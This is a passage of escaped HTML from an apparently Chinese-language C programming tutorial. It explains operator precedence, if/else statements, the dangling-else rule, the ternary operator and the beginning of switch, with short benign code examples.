class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,逗号的优先级低于赋值运算符,所以先执行赋值运算,再执行逗号运算,变量\u003ccode\u003ex\u003c/code\u003e等于\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"运算优先级\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E4%BC%98%E5%85%88%E7%BA%A7\" class=\"headerlink\" title=\"运算优先级\"\u003e\u003c/a\u003e运算优先级\u003c/h3\u003e\u003cp\u003e优先级指的是,如果一个表达式包含多个运算符,哪个运算符应该优先执行。各种运算符的优先级是不一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e * \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,表达式\u003ccode\u003e3 + 4 * 5\u003c/code\u003e里面既有加法运算符(\u003ccode\u003e+\u003c/code\u003e),又有乘法运算符(\u003ccode\u003e*\u003c/code\u003e)。由于乘法的优先级高于加法,所以会先计算\u003ccode\u003e4 * 5\u003c/code\u003e,而不是先计算\u003ccode\u003e3 + 4\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果两个运算符优先级相同,则根据运算符是左结合,还是右结合,决定执行顺序。大部分运算符是左结合(从左到右执行),少数运算符是右结合(从右到左执行),比如赋值运算符(\u003ccode\u003e=\u003c/code\u003e)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e5\u003c/span\u003e * \u003cspan class=\"number\"\u003e6\u003c/span\u003e / \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e*\u003c/code\u003e和\u003ccode\u003e/\u003c/code\u003e的优先级相同,它们都是左结合运算符,所以从左到右执行,先计算\u003ccode\u003e5 * 6\u003c/code\u003e,再计算\u003ccode\u003e6 / 2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e运算符的优先级顺序很复杂。下面是部分运算符的优先级顺序(按照优先级从高到低排列)。\u003c/p\u003e\u003cul\u003e\u003cli\u003e圆括号(\u003ccode\u003e()\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e自增运算符(\u003ccode\u003e++\u003c/code\u003e),自减运算符(\u003ccode\u003e--\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e一元运算符(\u003ccode\u003e+\u003c/code\u003e和\u003ccode\u003e-\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e乘法(\u003ccode\u003e*\u003c/code\u003e),除法(\u003ccode\u003e/\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e加法(\u003ccode\u003e+\u003c/code\u003e),减法(\u003ccode\u003e-\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e关系运算符(\u003ccode\u003e\u0026lt;\u003c/code\u003e、\u003ccode\u003e\u0026gt;\u003c/code\u003e等)\u003c/li\u003e\u003cli\u003e赋值运算符(\u003ccode\u003e=\u003c/code\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e由于圆括号的优先级最高,可以使用它改变其他运算符的优先级。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = (\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e) * \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于添加了圆括号,加法会先于乘法进行运算。\u003c/p\u003e\u003cp\u003e完全记住所有运算符的优先级没有必要,解决方法是多用圆括号,防止出现意料之外的情况,也有利于提高代码的可读性。\u003c/p\u003e\u003ch2 id=\"流程控制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流程控制\"\u003e\u003c/a\u003e流程控制\u003c/h2\u003e\u003cp\u003eC 语言的程序是顺序执行,即先执行前面的语句,再执行后面的语句。开发者如果想要控制程序执行的流程,就必须使用流程控制的语法结构,主要是条件执行和循环执行。\u003c/p\u003e\u003ch3 id=\"if-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#if-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"if 语句\"\u003e\u003c/a\u003eif 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eif\u003c/code\u003e语句用于条件判断,满足条件时,就执行指定的语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expression) statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面式子中,表达式\u003ccode\u003eexpression\u003c/code\u003e为真(值不为\u003ccode\u003e0\u003c/code\u003e)时,就执行\u003ccode\u003estatement\u003c/code\u003e语句。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eif\u003c/code\u003e后面的判断条件\u003ccode\u003eexpression\u003c/code\u003e外面必须有圆括号,否则会报错。语句体部分\u003ccode\u003estatement\u003c/code\u003e可以是一个语句,也可以是放在大括号里面的复合语句。下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is 10\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,当变量\u003ccode\u003ex\u003c/code\u003e为\u003ccode\u003e10\u003c/code\u003e时,就会输出一行文字。对于只有一个语句的语句体,语句部分通常另起一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is 10\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果有多条语句,就需要把它们放在大括号里面,组成一个复合语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (line_num == MAX_LINES) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e line_num = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page_num++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eif\u003c/code\u003e语句可以带有\u003ccode\u003eelse\u003c/code\u003e分支,指定条件不成立时(表达式\u003ccode\u003eexpression\u003c/code\u003e的值为\u003ccode\u003e0\u003c/code\u003e),所要执行的代码。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expression) statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026gt; j)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max = j;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果\u003ccode\u003eelse\u003c/code\u003e的语句部分多于一行,同样可以把它们放在大括号里面。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eelse\u003c/code\u003e可以与另一个\u003ccode\u003eif\u003c/code\u003e语句连用,构成多重判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expression)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"title function_\"\u003eif\u003c/span\u003e \u003cspan class=\"params\"\u003e(expression)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"title function_\"\u003eif\u003c/span\u003e \u003cspan class=\"params\"\u003e(expression)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果有多个\u003ccode\u003eif\u003c/code\u003e和\u003ccode\u003eelse\u003c/code\u003e,可以记住这样一条规则,\u003ccode\u003eelse\u003c/code\u003e总是跟最接近的\u003ccode\u003eif\u003c/code\u003e匹配。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The number is more than 6, less than 12.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;It is wrong number.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eelse\u003c/code\u003e部分匹配最近的\u003ccode\u003eif\u003c/code\u003e(即\u003ccode\u003enumber \u0026lt; 12\u003c/code\u003e),所以如果\u003ccode\u003enumber\u003c/code\u003e等于6,就不会执行\u003ccode\u003eelse\u003c/code\u003e的部分。\u003c/p\u003e\u003cp\u003e这样很容易出错,为了提供代码的可读性,建议使用大括号,明确\u003ccode\u003eelse\u003c/code\u003e匹配哪一个\u003ccode\u003eif\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The number is more than 6, less than 12.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;It is wrong number.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,使用了大括号,就可以清晰地看出\u003ccode\u003eelse\u003c/code\u003e匹配外层的\u003ccode\u003eif\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"三元运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%89%E5%85%83%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"三元运算符 ?\"\u003e\u003c/a\u003e三元运算符 ?\u003c/h3\u003e\u003cp\u003eC 语言有一个三元表达式\u003ccode\u003e?:\u003c/code\u003e,可以用作\u003ccode\u003eif...else\u003c/code\u003e的简写形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;expression1\u0026gt; ? \u0026lt;expression2\u0026gt; : \u0026lt;expression3\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个操作符的含义是,表达式\u003ccode\u003eexpression1\u003c/code\u003e如果为\u003ccode\u003etrue\u003c/code\u003e(非0值),就执行\u003ccode\u003eexpression2\u003c/code\u003e,否则执行\u003ccode\u003eexpression3\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子,返回两个值之中的较大值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(i \u0026gt; j) ? i : j;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码等同于下面的\u003ccode\u003eif\u003c/code\u003e语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026gt; j)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e j;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"switch-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#switch-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"switch 语句\"\u003e\u003c/a\u003eswitch 语句\u003c/h3\u003e\u003cp\u003eswitch 语句是一种特殊形式的 if…else 结构,用于判断条件有多个结果的情况。它把多重的\u003ccode\u003eelse if\u003c/code\u003e改成更易用、可读性更好的形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (expression) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e value1: statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e value2: statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e: statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,根据表达式\u003ccode\u003eexpression\u003c/code\u003e不同的值,执行相应的\u003ccode\u003ecase\u003c/code\u003e分支。如果找不到对应的值,就执行\u003ccode\u003edefault\u003c/code\u003e分支。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (grade) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;False\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan 